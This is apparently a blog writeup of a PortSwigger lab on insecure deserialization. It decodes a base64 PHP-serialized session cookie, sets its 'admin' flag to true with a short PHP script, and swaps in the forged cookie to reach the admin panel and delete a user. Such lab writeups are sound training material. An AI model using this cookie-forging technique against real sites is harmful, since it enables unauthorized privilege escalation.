Modifying serialized objects | Jan 10, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Modifying serialized objects! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete Carlos’s account.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Login as user wiener
:
Burp Suite HTTP history:
When we successfully logged in, a new session cookie has been set:
URL decoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=
As you can see, the last character is =
, which is a padding character in base64!
Let’s base64 decode that:
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' | base64 -d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
As you can see, the decoded base64 string is a serialized PHP object!
Let’s break it down:
O:4:"User"
means there is anUser
object, and it’s length is 4 characters long2
means there are 2 attributes:s:8:"username"
means the first attribute is calledusername
, and it’s length is 8 characters longs:6:"wiener"
meansusername
attribute value iswiener
, and it’s length is 6 characters long
s:5:"admin"
means the second attribute is calledadmin
, and it’s length is 5 characters longb:0
means theadmin
attribute value is boolean value0
(false
)
Armed with above information, we can write a PHP code to serialize and deserialize that PHP object:
<?php
$deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}';
$serializedObject = unserialize($deserializedObject);
echo "[+] Serialized: \n";
var_dump($serializedObject);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php
[+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "User"
["username"]=>
string(6) "wiener"
["admin"]=>
bool(false)
}
Now, to gain administrator privilege, we can just change the admin
attribute to true
(1
):
<?php
$deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';
$serializedObject = unserialize($deserializedObject);
echo "[+] Serialized: \n";
var_dump($serializedObject);
echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php
[+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "User"
["username"]=>
string(6) "wiener"
["admin"]=>
bool(true)
}
[+] Base64 encoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
Let’s change the session cookie with our newly created PHP serialized object in base64 encoded:
Then refresh the page:
We can access to the admin panel!
Let’s delete user carlos
:
What we’ve learned:
- Modifying serialized objects